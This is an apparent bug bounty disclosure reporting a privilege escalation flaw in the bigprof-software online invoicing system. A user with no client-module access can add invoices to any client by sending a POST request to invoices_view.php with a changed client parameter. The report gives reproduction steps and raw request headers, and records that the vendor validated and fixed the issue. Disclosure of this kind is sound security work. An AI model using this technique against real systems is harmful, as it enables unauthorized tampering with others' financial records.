Improper Privilege Management in bigprof-software/online-invoicing-system


Reported on

Jul 2nd 2021


privilege escalation bug to add invoice to a client .


unprivileged user can add invoice to a client


1. From admin account goto http://localhost/online-invoice2/app/admin/pageViewMembers.php and add new user called user-B .
Now revoke all acccess from client module for user-B .
So, user-B cant view/edit/create/delete any client.
2. Now goto admin account and add a new client .Lets asume the client id is 4\

3. Now goto user-B account and sent bellow request to add invoice to above client.\

POST /online-invoice2/app/invoices_view.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 337
Origin: http://localhost
Connection: close
Referer: http://localhost/online-invoice2/app/invoices_view.php
Cookie: online_inovicing_system=hjcfmd0ifcgfh9ou7bks4evlaf; 
Upgrade-Insecure-Requests: 1


Here in this request change client parameter value to above client id and a new invoice will be added to above client .
So, user-B dont have any access in client module but can add invoice to any client .

We have contacted a member of the bigprof-software/online-invoicing-system team and are waiting to hear back a year ago
BigProf Software validated this vulnerability a year ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
BigProf Software marked this as fixed with commit 446409 a year ago
BigProf Software has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation